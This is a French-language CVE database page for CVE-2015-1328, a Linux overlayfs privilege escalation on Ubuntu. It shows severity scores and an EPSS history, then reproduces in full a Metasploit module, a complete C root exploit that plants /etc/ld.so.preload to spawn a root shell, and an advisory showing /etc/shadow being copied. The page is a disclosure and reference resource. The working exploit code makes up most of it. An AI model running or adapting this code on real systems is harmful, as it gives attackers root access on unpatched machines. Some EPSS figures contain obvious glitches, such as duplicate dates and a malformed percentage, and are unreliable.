CVE-2015-1328

Score / Gravité

7.8

Haute

OWSAP

A01-Broken Access Control

EPSS

90.23%V4

Vecteur

Local

Publié

2016-11-28
02h01 +00:00

Modifié

2017-09-20
07h57 +00:00

Liens officiels

CVE.org

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Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

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Spécifiez ici un CVE ID comme CVE-2025-1234

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Descriptions du CVE

The overlayfs implementation in the linux (aka Linux kernel) package before 3.19.0-21.21 in Ubuntu through 15.04 does not properly check permissions for file creation in the upper filesystem directory, which allows local users to obtain root access by leveraging a configuration in which overlayfs is permitted in an arbitrary mount namespace.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-264	Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.0	7.8	HIGH	CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.12%	–	–
2022-02-13	–	–	2.57%	–	–
2022-03-20	–	–	2.57%	–	–
2022-04-03	–	–	2.57%	–	–
2022-05-15	–	–	2.57%	–	–
2022-11-06	–	–	2.57%	–	–
2022-11-20	–	–	2.57%	–	–
2022-12-04	–	–	2.57%	–	–
2023-01-01	–	–	2.57%	–	–
2023-01-29	–	–	2.57%	–	–
2023-02-05	–	–	2.57%	–	–
2023-02-19	–	–	2.57%	–	–
2023-03-12	–	–	–	0.06%	–
2023-07-16	–	–	–	0.06%	–
2023-07-30	–	–	–	0.06%	–
2023-08-13	–	–	–	0.06%	–
2023-08-27	–	–	–	0.06%	–
2023-09-17	–	–	–	0.06%	–
2024-01-21	–	–	–	0.06%	–
2024-01-28	–	–	–	0.06%	–
2024-02-11	–	–	–	0.06%	–
2024-03-24	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-06-23	–	–	–	0.06%	–
2024-08-04	–	–	–	0.06%	–
2024-08-11	–	–	–	0.06%	–
2024-10-27	–	–	–	0.06%	–
2025-01-12	–	–	–	0.06%	–
2025-03-09	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-03-09	–	–	–	0.06%	–
2025-03-18	–	–	–	–	90.13%
2025-04-10	–	–	–	–	90.23%
2025-04-10	–	–	–	–	90.23,%

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Date	Percentile
2022-02-06	57%
2022-02-13	62%
2022-03-20	63%
2022-04-03	8%
2022-05-15	81%
2022-11-06	82%
2022-11-20	81%
2022-12-04	82%
2023-01-01	81%
2023-01-29	82%
2023-02-05	81%
2023-02-19	82%
2023-03-12	24%
2023-07-16	25%
2023-07-30	24%
2023-08-13	25%
2023-08-27	24%
2023-09-17	25%
2024-01-21	24%
2024-01-28	25%
2024-02-11	24%
2024-03-24	25%
2024-06-02	26%
2024-06-23	27%
2024-08-04	26%
2024-08-11	27%
2024-10-27	28%
2025-01-12	29%
2025-03-09	3%
2025-01-19	29%
2025-03-09	3%
2025-03-18	1%
2025-04-10	1%
2025-04-10	1%

Informations sur l'Exploit

Exploit Database EDB-ID : 40688

Date de publication : 2016-11-01 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Overlayfs Privilege Escalation', 'Description' => %q{ This module attempts to exploit two different CVEs related to overlayfs. CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 3.16.0-25 (14.10 default) < 3.16.0-41 3.19.0-18 (15.04 default) < 3.19.0-21 CVE-2015-8660: Ubuntu: 3.19.0-18 < 3.19.0-43 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) Fedora: < 4.2.8 (vulnerable, un-tested) Red Hat: < 3.10.0-327 (rhel 6, vulnerable, un-tested) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die <mike@shorebreaksecurity.com>', # Module 'rebel' # Discovery ], 'DisclosureDate' => 'Jun 16 2015', 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'CVE-2015-1328', { } ], [ 'CVE-2015-8660', { } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su }, 'References' => [ [ 'EDB', '39166'], # CVE-2015-8660 [ 'EDB', '37292'], # CVE-2015-1328 [ 'CVE', '2015-1328'], [ 'CVE', '2015-8660'] ] )) register_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ], self.class) end def check def mounts_exist?() vprint_status('Checking if mount points exist') if target.name == 'CVE-2015-1328' if not directory?('/tmp/ns_sploit') vprint_good('/tmp/ns_sploit not created') return true else print_error('/tmp/ns_sploit directory exists. Please delete.') return false end elsif target.name == 'CVE-2015-8660' if not directory?('/tmp/haxhax') vprint_good('/tmp/haxhax not created') return true else print_error('/tmp/haxhax directory exists. Please delete.') return false end end end def kernel_vuln?() os_id = cmd_exec('grep ^ID= /etc/os-release') case os_id when 'ID=ubuntu' kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) case kernel.release.to_s when '3.13.0' if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") return true else print_error("Kernel #{kernel} is NOT vulnerable") return false end when '3.16.0' if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") return true else print_error("Kernel #{kernel} is NOT vulnerable") return false end when '3.19.0' if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") return true elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") return true else print_error("Kernel #{kernel} is NOT vulnerable") return false end when '4.2.0' if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") return true else print_error("Kernel #{kernel} is NOT vulnerable") return false end else print_error("Non-vuln kernel #{kernel}") return false end when 'ID=fedora' kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '') # => "4.0.4-301" if kernel.release < Gem::Version.new('4.2.8') vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED") return true else print_error("Non-vuln kernel #{kernel}") return false end else print_error("Unknown OS: #{os_id}") return false end end if mounts_exist?() && kernel_vuln?() return CheckCode::Appears else return CheckCode::Safe end end def exploit if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end filename = rand_text_alphanumeric(8) executable_path = "#{datastore['WritableDir']}/#{filename}" payloadname = rand_text_alphanumeric(8) payload_path = "#{datastore['WritableDir']}/#{payloadname}" def has_prereqs?() gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') else print_error('gcc is not installed. Compiling will fail.') end return gcc.include?('gcc') end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end def upload_and_chmod(fname, fcontent, cleanup=true) print_status "Writing to #{fname} (#{fcontent.size} bytes)" rm_f fname write_file(fname, fcontent) cmd_exec("chmod +x #{fname}") if cleanup register_file_for_cleanup(fname) end end def on_new_session(session) super if target.name == 'CVE-2015-1328' session.shell_command("/bin/su") #this doesnt work on meterpreter????? # we cleanup here instead of earlier since we needed the /bin/su in our new session session.shell_command('rm -f /etc/ld.so.preload') session.shell_command('rm -f /tmp/ofs-lib.so') end end if compile begin if target.name == 'CVE-2015-1328' # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary. path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c') fd = ::File.open( path, "rb") cve_2015_1328 = fd.read(fd.stat.size) fd.close # pulled out from 1328.c's LIB define path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c') fd = ::File.open( path, "rb") ofs_lib = fd.read(fd.stat.size) fd.close else # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c') fd = ::File.open( path, "rb") cve_2015_8660 = fd.read(fd.stat.size) fd.close end rescue compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries end end if compile if target.name == 'CVE-2015-1328' cve_2015_1328.gsub!(/execl$"\/bin\/su","su",NULL$;/, "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") upload_and_chmod("#{executable_path}.c", cve_2015_1328) ofs_path = "#{datastore['WritableDir']}/ofs-lib" upload_and_chmod("#{ofs_path}.c", ofs_lib) cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file register_file_for_cleanup("#{ofs_path}.c") else cve_2015_8660.gsub!(/os.execl$'\/bin\/bash','bash'$/, "os.execl('#{payload_path}','#{payloadname}')") upload_and_chmod("#{executable_path}.c", cve_2015_8660) end vprint_status("Compiling #{executable_path}.c") cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile register_file_for_cleanup(executable_path) else if target.name == 'CVE-2015-1328' path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328') fd = ::File.open( path, "rb") cve_2015_1328 = fd.read(fd.stat.size) fd.close upload_and_chmod(executable_path, cve_2015_1328) path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so') fd = ::File.open( path, "rb") ofs_lib = fd.read(fd.stat.size) fd.close ofs_path = "#{datastore['WritableDir']}/ofs-lib" # dont auto cleanup or else it happens too quickly and we never escalate ourprivs upload_and_chmod("#{ofs_path}.so", ofs_lib, false) # overwrite with the hardcoded variable names in the compiled versions payload_filename = 'lXqzVpYN' payload_path = '/tmp/lXqzVpYN' else path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660') fd = ::File.open( path, "rb") cve_2015_8660 = fd.read(fd.stat.size) fd.close upload_and_chmod(executable_path, cve_2015_8660) # overwrite with the hardcoded variable names in the compiled versions payload_filename = '1H0qLaq2' payload_path = '/tmp/1H0qLaq2' end end upload_and_chmod(payload_path, generate_payload_exe) vprint_status('Exploiting...') output = cmd_exec(executable_path) output.each_line { |line| vprint_status(line.chomp) } end end

Exploit Database EDB-ID : 37292

Date de publication : 2015-06-15 22h00 +00:00
Auteur : rebel
EDB Vérifié : Yes

/* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* CVE-2015-1328 / ofs.c overlayfs incorrect permission handling + FS_USERNS_MOUNT user@ubuntu-server-1504:~$ uname -a Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu-server-1504:~$ gcc ofs.c -o ofs user@ubuntu-server-1504:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) user@ubuntu-server-1504:~$ ./ofs spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) greets to beist & kaliman 2015-05-24 %rebel% *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <sys/types.h> #include <signal.h> #include <fcntl.h> #include <string.h> #include <linux/sched.h> #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" static char child_stack[1024*1024]; static int child_exec(void *stuff) { char *file; system("rm -rf /tmp/ns_sploit"); mkdir("/tmp/ns_sploit", 0777); mkdir("/tmp/ns_sploit/work", 0777); mkdir("/tmp/ns_sploit/upper",0777); mkdir("/tmp/ns_sploit/o",0777); fprintf(stderr,"mount #1\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); exit(-1); } file = ".access"; chmod("/tmp/ns_sploit/work/work",0777); } else file = "ns_last_pid"; chdir("/tmp/ns_sploit/o"); rename(file,"ld.so.preload"); chdir("/"); umount("/tmp/ns_sploit/o"); fprintf(stderr,"mount #2\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { exit(-1); } chmod("/tmp/ns_sploit/work/work",0777); } chmod("/tmp/ns_sploit/o/ld.so.preload",0777); umount("/tmp/ns_sploit/o"); } int main(int argc, char **argv) { int status, fd, lib; pid_t wrapper, init; int clone_flags = CLONE_NEWNS | SIGCHLD; fprintf(stderr,"spawning threads\n"); if((wrapper = fork()) == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace\n"); if((init = fork()) == 0) { pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); if(pid < 0) { fprintf(stderr, "failed to create new mount namespace\n"); exit(-1); } waitpid(pid, &status, 0); } waitpid(init, &status, 0); return 0; } usleep(300000); wait(NULL); fprintf(stderr,"child threads done\n"); fd = open("/etc/ld.so.preload",O_WRONLY); if(fd == -1) { fprintf(stderr,"exploit failed\n"); exit(-1); } fprintf(stderr,"/etc/ld.so.preload created\n"); fprintf(stderr,"creating shared library\n"); lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); close(lib); lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); if(lib != 0) { fprintf(stderr,"couldn't create dynamic library\n"); exit(-1); } write(fd,"/tmp/ofs-lib.so\n",16); close(fd); system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); execl("/bin/su","su",NULL); }

Exploit Database EDB-ID : 37293

Date de publication : 2015-06-15 22h00 +00:00
Auteur : rebel
EDB Vérifié : Yes

The overlayfs filesystem does not correctly check file permissions when creating new files in the upper filesystem directory. This can be exploited by an unprivileged process in kernels with CONFIG_USER_NS=y and where overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of overlayfs inside unprivileged mount namespaces. This is the default configuration of Ubuntu 12.04, 14.04, 14.10, and 15.04 [1]. If you don't want to update your kernel and you don't use overlayfs, a viable workaround is to just remove or blacklist overlayfs.ko / overlay.ko. Details ================================ >From Documentation/filesystems/overlayfs.txt [2]: "Objects that are not directories (files, symlinks, device-special files etc.) are presented either from the upper or lower filesystem as appropriate. When a file in the lower filesystem is accessed in a way the requires write-access, such as opening for write access, changing some metadata etc., the file is first copied from the lower filesystem to the upper filesystem (copy_up)." The ovl_copy_up_* functions do not correctly check that the user has permission to write files to the upperdir directory. The only permissions that are checked is if the owner of the file that is being modified has permission to write to the upperdir. Furthermore, when a file is copied from the lowerdir the file metadata is carbon copied, instead of attributes such as owner being changed to the user that triggered the copy_up_* procedures. Example of creating a 1:1 copy of a root-owned file: (Note that the workdir= option is not needed on older kernels) user@...ntu-server-1504:~$ ./create-namespace root@...ntu-server-1504:~# mount -t overlay -o lowerdir=/etc,upperdir=upper,workdir=work overlayfs o root@...ntu-server-1504:~# chmod 777 work/work/ root@...ntu-server-1504:~# cd o root@...ntu-server-1504:~/o# mv shadow copy_of_shadow (exit the namespace) user@...ntu-server-1504:~$ ls -al upper/copy_of_shadow -rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow user@...ntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode Device: 801h/2049d Inode: 939791 Links: 1 Device: 801h/2049d Inode: 277668 Links: 1 Now we can place this file in /etc by switching "upper" to be the lowerdir option, the permission checks pass since the file is owned by root and root can write to /etc. user@...ntu-server-1504:~$ ./create-namespace root@...ntu-server-1504:~# mount -t overlay -o lowerdir=upper,upperdir=/etc,workdir=work overlayfs o root@...ntu-server-1504:~# chmod 777 work/work/ root@...ntu-server-1504:~# cd o root@...ntu-server-1504:~/o# chmod 777 copy_of_shadow root@...ntu-server-1504:~/o# exit user@...ntu-server-1504:~$ ls -al /etc/copy_of_shadow -rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow The attached exploit gives a root shell by creating a world-writable /etc/ld.so.preload file. The exploit has been tested on the most recent kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04. It is also possible to list directory contents for any directory on the system regardless of permissions: nobody@...ntu-server-1504:~$ ls -al /root ls: cannot open directory /root: Permission denied nobody@...ntu-server-1504:~$ mkdir o upper work nobody@...ntu-server-1504:~$ mount -t overlayfs -o lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work overlayfs /home/user/o nobody@...ntu-server-1504:~$ ls -al o 2>/dev/null total 8 drwxrwxr-x 1 root nogroup 4096 May 24 16:33 . drwxr-xr-x 8 root nogroup 4096 May 24 16:33 .. -????????? ? ? ? ? ? .bash_history -????????? ? ? ? ? ? .bashrc d????????? ? ? ? ? ? .cache -????????? ? ? ? ? ? .lesshst d????????? ? ? ? ? ? linux-3.19.0 Credit ================================ Philip Pettersson, Samsung SDS Security Center References ================================ [1] https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549 [2] https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt [3] http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html ## EDB Note: Exploit Mirror - https://www.exploit-db.com/exploits/37292